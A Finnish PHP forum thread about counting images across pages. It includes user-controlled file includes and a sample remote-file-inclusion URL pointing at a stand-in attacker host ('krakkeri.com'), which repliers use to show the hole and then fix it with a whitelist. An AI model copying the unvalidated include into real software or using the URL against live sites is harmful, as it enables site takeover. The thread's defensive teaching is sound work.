Eli count-funktion avulla saa tulostettua taulukon alkioiden lukumäärän tähän tyyliin:
$taulukko = array("kuva.jpg","kuva2.jpg","kuva3.jpg");
$lukumaara = count($taulukko);
echo $lukumaara
Mutta entä jos haluan tulostaa $taulukon alkioiden lukumäärän eri sivulle kuin millä taulukko on? Miten saan kerrottua tälle koodille, että $taulukko sijaitsee esim. sivulla, jonka osoite on http://www.jokusivu.fi/index.php?cat=5&sivu=kuvia ?
Eli lyhyesti:
$lukumaara = count( MITÄ TÄHÄN TULEE? );
$taulukko = array("kuva.jpg","kuva2.jpg","kuva3.jpg");
$lukumaara = count($taulukko);
echo $lukumaara
Mutta entä jos haluan tulostaa $taulukon alkioiden lukumäärän eri sivulle kuin millä taulukko on? Miten saan kerrottua tälle koodille, että $taulukko sijaitsee esim. sivulla, jonka osoite on http://www.jokusivu.fi/index.php?cat=5&sivu=kuvia ?
Eli lyhyesti:
$lukumaara = count( MITÄ TÄHÄN TULEE? );
Vastaukset 15
Vanhimmat
taulukko alustetaan index.php - tiedostossa, tulostat sen myös samassa tiedostossa olevalla koodilla.
Tiedostohan on sama (index.php) vaikka parametrit vaihtuvat (cat=5&sivu=kuvia, cat=1&sivu=etusivu, jne).
eli jos kuvat lasketaan sivulla index.php ja sitten tämä tieto pitäisi siirtää toiselle sivulle, niin anna se toiselle sivulle parametrinä.
"index.php?cat=1&sivu=etusivu"
$lukumaara = count($taulukko);
header("Location: http://www.omasivu.com/index.php?cat=5&sivu=kuvia&lukumaara=$lukumaara");
ja toisella sivulla kaivat vain tuon parametrin itsellesi
$lkm = $_GET['lukumaara'];
Kiitokset, mutta mulle näköjään pitää vääntää rautalangasta... :( Äsken vähän yksinkertaistin sivuani, nyt kerron tarkemmin.
Eli sivulla index.php sivulla on mm. seuraavat koodit:
if (file_exists($cat."/".$sivu.".php")) {
include($cat."/".$sivu.".php");
} else {
echo("ERROR! Sivua ei löytynyt.");
}
chdir("kuvat");
$kuvat = glob($sivu . '*.jpg');
$lukumaara = count($kuvat);
for ($i = 0; $i < count($kuvat); $i ) {
echo ('
' .$kuvateksti[$i]. '');
}
Sitten pitää saada sivulle www.omasivu.com/index.php?cat=1&sivu=etusivu tulostettua se kuvamäärä, joka on sivulla www.omasivu.com/index.php?cat=5&sivu=kuvia.
Eli toisinsanoen kuvamäärä pitäisi tulostaa cat1:n tiedostoon etusivu.php.
SIIS: Mitä tulee tiedostoon index.php ja mitä tiedostoon etusivu.php?
Ja mitä tuohon sinun scriptiisi tulee, niin http://www.omasivu.com/index.php?cat=http://krakkeri.com&sivu=testi
Ja sitten krakkeri.comissa oleva testi.php näyttää tältä
Tuo scripti siis ajetaan sinun oikeuksillasi. Varmaan muistat kun Ylen sivut krakkeröitiin? Se tehtiin juurikin tuommosen aukon kautta.
Ohhoh, vai että noin helposti joku pääsee krakkeroimaan sivujani. Hyvä, että toit tuon esille.
No nyt on sitten kaksi ongelmaa: se, jonka kysyin edellisessä viestissä ja se, miten tuollainen aukko paikataan.
Molempiin kaivattaisiin siis vastausta.
Löysin tällaista:
"Hyvin hyödyllinen tietoturva-aukkoja poistava asetus on – mikäli vain mahdollista - laittaa php.ini –tiedostossa register_globals asetus off-tilaan. "
Ratkaiseeko tämä tietoturva-ongelmani? Onko siitä jotain haittaa, jos tuon laittaa off-tilaan?
Jos sivun olemassa olo tarkistetaan paikallisesti ensiksi file_exists()-funktiolla, ei sivua voi hakkeroida suoraan osoiteriviltä. Ainakaan ihan noin helposti.
file_exists()-funktio pitää huolen siitä, että tiedosto on paikallisella palvelimella, joten osoiteriviltä muilutusyritys ohjautuu if-lauseen else-puolelle (tässä tapauksessa tuonne: echo("ERROR! Sivua ei löytynyt.");)
sitten sen sisällä käytetään include-komentoa lisäämään siihen esimerkiksi etusivu.php koodi.
voisit siis aina tehdä tuon countin index.php-tiedostossa ja tulostaa vaikka etusivu.php:n sisällä.
jos index.php näyttää tältä
ja etusivu.php näyttää tältä
echo "hiihaa vaan sulle" . $mjono;
niin lopputulos on
voit siis laskea luvun index.php sisällä, koska index.php on oikeasti ainut sivu jota ajetaan. muut sivut lisätään index.php sisälle
Juu oikeessa olet, muistin että tuo file_exists toimii URL kans, mut näin ei ollukkaan.
Mutta ei tuo silti ole turvallinen, tuolla kun pystyy includettamaan kaikki tiedostot mitä sinulla webhotellissa on, myös netin ulkopuolisetkin, ohittaa myös .htaccess suojauksenkin. Sekä jos palvelimella on tietoturva huonosti hoidettu, niin toinen käyttäjä voi omalta tilaltaan laittaa tuon testi.php jutun. Tosin tuolloin ei edes tartte noin kikkaillakkaan.
"Hyvin hyödyllinen tietoturva-aukkoja poistava asetus on – mikäli vain mahdollista - laittaa php.ini –tiedostossa register_globals asetus off-tilaan. "
Ei tuo tuohon ongelmaan vaikuta. http://www.omasivu.com/index.php?sivu=testi
register_globals = on
echo $sivu; // testi
echo $_GET['sivu']; // testi
register_globals = off
echo $sivu; // ei tulosta mitään koska $sivu muuttuja tyhjä
echo $_GET['sivu']; // testi
Ja muista, että usealla webhotellilla register_globals = off ja PHP6 myötä tuo asetus poistuu kokonaan joten silloin on pakko käyttää noita superglobaaleja $_GET, $_POST jne... kun halutaan käyttäjän syötteitä.
Mikäli noita et käytä niin scriptisi eivät toimi PHP6 ja register_globals = off asetuksella
Hehee muistinkin sittenkin melkein oikein, katsos http://fi.php.net/manual/fi/wrappers.ftp.php
Siis http ei toimi, mut ftp toimii, joten tuossa on aukko.
Niinpä, voisipa noin tehdä, mutta ei se toimi. Syy: Silloin count-funktio laskee sivulla etusivu.php olevien kuvien määrän, joka siis on nolla.
No sitten voi tehdä jotain purkkavirityksiä tai tehdä suuremman rakenteellisen muutoksen.
Koko sivuston rakenne määritellään taulukossa. Koodi on suuntaa-antava, ei välttämättä ihan virheetön.
$rakenne = array(
array("sivu1","kansio1","tiedosto1.php","Kuvia lehmistä."),
array("sivu2","kansio2","tiedosto2.php","Lisää samaa."),
array("sivu3","kansio3","tiedosto3.php","Sitä täälläkin.")
);
Tuossa $rakenne on siis taulukko, jonka sisällä on pienempää 3 taulukkoa. Tuota sitten käytät vaikka tähän tapaan:
$avaa = $_REQUEST["avaa"];
if ($avaa) {
for ($i = 0; $i < count($rakenne); $i ) {
if ($avaa == $rakenne[$i][0]) {
include($rakenne[$i][2]);
$sivuloytyi = TRUE;
}
}
}
if (!$sivuloytyi) echo 'Sivua ei löytynyt.';
Näin osoite rivillä ei tarvitse käsitellä ollenkaan tiedoston nimiä joihin voisi muiluttaa killereitä. Tiedoston nimen tilalla käytetään sisäisen taulukon ensimmäisessä solussa määriteltyä nimeä ja saman taulukon kolmannessa solussa määritelty tiedoston nimi, jossa varsinainen sisältö on. Sitten includetat vain ja ainoastaan $rakenne-taulussa olevia tiedostoja. Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään.
Sitten linkkilista:
if (!$avaa) {
for ($i = 0; $i < count($rakenne); $i ) {
echo '' . $rakenne[$i][3] . '';
chdir($rakenne[$i][1]);
$kuvat = glob("*.jpg");
$monta = count($kuvat);
chdir("..");
echo '(' . $monta . ' kuvaa)';
}
}
Tuon lopputuloksena pitäisi olla jotain tämän näköistä:
Kuvia lehmistä. (82 kuvaa)
Lisää samaa. (153 kuvaa)
Sitä täälläkin. (2385 kuvaa)
Ja jokainen noista on linkki, joka avaa taulukon sisällä määritellyn sivun.
Niin nuo kuvien määräthän kannattaa tallentaa vaik tekstitiedostoon josta ne saa helposti ja nopeesti. Hidasta ja turhaa joka ikinen sivulataus kerta laskea nuo tiedot uudestaan. Tosin jos mahdollista niin kannattaa käyttää tietokantaa, niin tämmöiset asiat on huomattavasti helpompa ja nopeempa tehdä.
Ja mitä tuohon koodiisi tulee, niin alusta muuttujat, ja true/false pienellä.
Ja tuo taulukko kannattaa tehdä toisin, ja mikäli taulukko joudutaan käymään läpi, niin looppien tilalta kannattaa käyttää PHP:n omia functioita, ovat näes tehokkaampia.
Tuon taulukon voisi tehdä vaik näin
chdir on työhakemisto, eikä sitä ole tarkoitettu tuohon jatkuvaan vaihtamiseen, joten glob kutsuun se hakemisto.
"Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään"
Tuon hyöty on aika olematon haittoihin nähden. Kohta sinulla on kymmeniä tiedostoja eri nimellä kuin itse scriptissä niitä kutsut. Jos tuommosen haluaa tehdä niin ennemmin lisää vaikka loppuun jotain tekstiä. Tällöin taulukossa ei tarvitse erikseen tiedoston nimeä luetella.
Tuossa pari pientä asiaa mitkä kannattaisi tehdä toisin.
Eipä ollutkaan niin yksinkertainen tuo count() kysymys, jonka aluksi esitin. Täytyypä ruveta tekemään vähän monimutkaisempaa systeemiä, ei tässä muukaan auta. Kyselen joskus lisää, kunhan saan homman aloitettua (nyt ei ole aikaa).
Kiitokset kuitenkin kaikille vastanneille.
test